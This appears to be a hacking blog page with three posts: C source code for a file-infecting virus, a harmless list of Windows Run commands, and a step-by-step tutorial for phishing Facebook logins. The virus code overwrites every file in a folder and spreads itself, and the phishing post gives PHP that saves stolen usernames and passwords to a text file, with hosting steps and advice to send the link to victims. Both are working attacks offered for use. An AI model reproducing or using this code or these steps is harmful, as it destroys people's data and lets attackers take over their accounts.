Monday 14 July 2014

Create A Virus Using C++



#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end; void main()
{
st=clock();
clrscr();
done=findfirst
(“*.*”,&ffblk,0); // Search for a file with
any extension (*.*)
while(!done)
{
virus=fopen(_argv
[0],”rb”); host=fopen
(ffblk.ff_name,”rb+”);
if(host==NULL) goto
next;
x=89088;
printf(“Infecting %s \n”,ffblk.ff_name,a);
while(x>2048)
{
fread
(buff,2048,1,virus);
fwrite (buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++; next:
{
fcloseall();
done=findnext
(&ffblk);
} }
printf(“DONE! (Total
Files Infected=
%d)”,a);
end=clock();
printf(“TIME TAKEN= %f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

The algorithm of this virus program is as follows: 
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file). 

Step-2: Load the copy of the virus itself onto the memory. Step-

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close
the target file when the copying process is completed. 

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit. As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Test the Virus After the Compilation:-
 1. Create a new empty folder. 

 2. Put some executable files (or any other files) in the folder. 

 3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected. 

4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done. 

NOTE: The files infected by this virus
are destroyed
completely and
cannot be recovered.
So, always test the
virus in a new folder by placing some
sample files...

Collection Of Run Commands



[A] 

Add/Remove Programs = appwiz.cpl
Administrative Tools = control admintools
Authorization Manager= azman.msc "New"

[C]

Calculator = calc
Certificate Manager = certmgr.msc
Character Map = charmap
Check Disk Utility = chkdsk
Control Panel = control "New"
Command Prompt = cmd.exe
Component Services = dcomcnfg
Computer Management = compmgmt.msc = CompMgmtLauncher "New"

[D]

Date and Time Properties = timedate.cpl
Downloads = Downloads "New"
Device Manager = devmgmt.msc
Direct X Troubleshooter = dxdiag
Disk Cleanup Utility = cleanmgr
Defragment User Interface = dfrgui "New"
Ditilizer Calibration Tool = tabcal "New"
Disk Management = diskmgmt.msc
Disk Parmelonion Manager = diskpart 
Display Properties = control desktop or desk.cpl
DPI Scaling = dpiscaling "New"
Driver Package Installer = dpinst "New"
Driver Verifier Utility = verifier or /reset
DVD Player = dvdplay "New"

[E]

Encryption File System = rekeywiz "New"
Event Viewer = eventvwr.msc

[F]

Fax Cover Sheet Editor = fxscover "New"
File Signature Verification Tool = sigverif 
Folders Properties = control folders 
Fonts = control fonts
Free Cell Card Game = freecell

[G]

Game Controllers | joy.cpl
Group Policy Editor = gpedit.msc

[I] 

Internet Explorer = iexplore 
Iexpress Wizard = iexpress
Internet Properties = inetcpl.cpl
IP Configuration = ipconfig.exe
iSCSI Initiator = iscsicpl "New"

[K]

Keyboard Properties = control keyboard

[L]

Libraries = explorer or Windows key + E
Local Security Settings = secpol.msc
Local Users and Groups = lusrmgr.msc
Logs You Out Of Windows = logoff

[M] 

Microsoft Support Diagnostic Tool = msdt "New" 
Microsoft Paint = mspaint.exe
Mouse Properties = control mouse
Mouse Properties = main.cpl
Mobility Center (only on mobile) = mblctr or Windows key + X

[N]

Network Connections = control netconnections
Network Connections = ncpa.cpl
Notepad = notepad 

[O]

ODBC Data Source Administrator = odbcad32 "New" 
Optional Features Manager = optionalfeatures "New"
On Screen Keyboard = osk or Windows key + U 

[P] 

Package Installer = dpinst
Pen & Touch Options = tabletpc.cpl
People Near Me Identifier = collab.cpl
Performance Monitor = perfmon.msc
Phone and Modem Options = telephon.cpl
Power Configuration = powercfg.cpl
Printers and Faxes = control printers
Printer Migration = PrintBrmUi "New"
Private Character Editor = eudcedit
Problem Steps Recorder = psr.exe
Programs and Features = appwiz.cpl

[R] 

Regional Settings = intl.cpl
Registry Editor = regedit.exe
Remote Assistance = msra "New"
Remote Desktop = mstsc
Resultant Set of Policy = rsop.msc

[S]

Scheduled Tasks = control schedtasks
Screen Resolution = desk.cpl
Security Center = wscui.cpl
Services = services.msc
Shared Folders/MMC = fsmgmt.msc
Shuts Down Windows = shutdown 
Snipping Tool = snippingtool "New"
Sounds and Audio = mmsys.cpl
Sound Recorder = soundrecorder "New"
Sound Volume = sndvol "New"
Spider Solitare Card Game = spider
SQL Client Configuration = cliconfg
Stored User Names and Passwords = credwiz "New"
Sticky Note = StikyNot "New"
System Configuration Editor = sysedit
System Configuration Utility = msconfig
System File Checker Utility = sfc
System Information = msinfo32
System Properties = sysdm.cpl or Windows key + Pause/Break
System Restore = rstrui.exe

[T] 

Task Manager = taskmgr 
Trusted Platform Module = TpmInit "New"

[U]

Utility Manager = utilman
User Accounts = netplwiz or control userpasswords2

[W] 

Windows Activation = slui "New"
Windows Backup Utility = sdclt "New"
Windows Fax and Scan = wfs "New
Windows Firewall = firewall.cpl
Windows Firewall with Advanced Security = wf.msc "New
Windows Image Acquisition = wiaacmgr "New" 
Windows Media Player = wmplayer
Windows Magnifier = magnify
Windows Management Infrastructure = wmimgmt.msc
Windows Update App Manager = wuapp "New"
Windows Standalong Update Manager = wusa "New'
Windows System Security Tool = syskey
Windows Share Creation Wizard = shrpubw "New" 
Wordpad = write

Wednesday 9 July 2014

How To Hack Facebook Using Phishing Attack

Right click on the white space of the front page. Select "View Page source".
Copy the code to Notepad.



STEP 2: Now find (Press ctrl +f) for "action=" in that code.
You fill find the code like this:



You have to change two things in that code..first of all you have to change method from POST to Get...as You can see in picture.
and secondly you have to change ACTION from https://login.facebook.com/login.php"
to "next.php"

Save the document as index.html
and Change the file type as All Files.

">Now we need to create the "next.php" to store the password. so open the notepad and type the following code:
STEP 3:
Now we need to create the "next.php" to store the password. so open the notepad and type the following code:
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this file as "next.php"


Step 4:open the notepad and Now create a blank file and named it as "pswrds.txt".
Now onwards You have three files..first is "index.html".Second is "next.php" and third is "pswrds.txt"
Now we have to upload this three files on a php web hosting service.
many sites offers this kind of hosting services.but maximum of them are now stopped these services cause of use of them in hacking.others are still running but they are Providing paid services only.
I found 000webhost.com On internet.
000webhost.com , is an industry leader in providing top class free web hosting services without advertising! There are no hidden costs, no adverts, and no restrictive terms.
So now lets come to topic again...

STEP 5: Go to on http://www.000webhost.com/ 
and click on sign up. and select any domain name as i mentioned in image



STEP 6:After doing above steps you have to verify your mail account that you used at the time of signup process.Verify your mail account by clicking the link as you can see in picture.



STEP 7:Click on the site link which is shown under DOMAIN section to go to your control panel alternativly You can go to
http://members.000webhost.com/
for fake page uploading.



STEP 8: Now when you are logged into your account click on the Go to Cpanel in front of your domain that you had registered, and then Go to File Manager under Files and log into it.


STEP 9: After logging to Your File manager Section. Now Click on the Public_html directory.


 STEP 10: Before proceeding to next delete default.php under public_html directry.Now click on the Upload button, choose the three file that we created earlier.(index.html,next.php and pswrds.txt).

STEP 11: Now any one who visits your site would be taken to the Fake Facebook Login Page. After they enter their Username and Password, the username and password would be go to "passwrds.txt" file.



STEP 12: To Find Your Phishing Site Link or Url Please Refer To below Image.
How to hack facebook using phishing Attack How to hack facebook using phishing Attack How to hack facebook 

STEP 13: Now Everything is set. The Only thing that we have to do is that pass the link to victim.after that if he/she login through that link then we are able to get his/her account and password.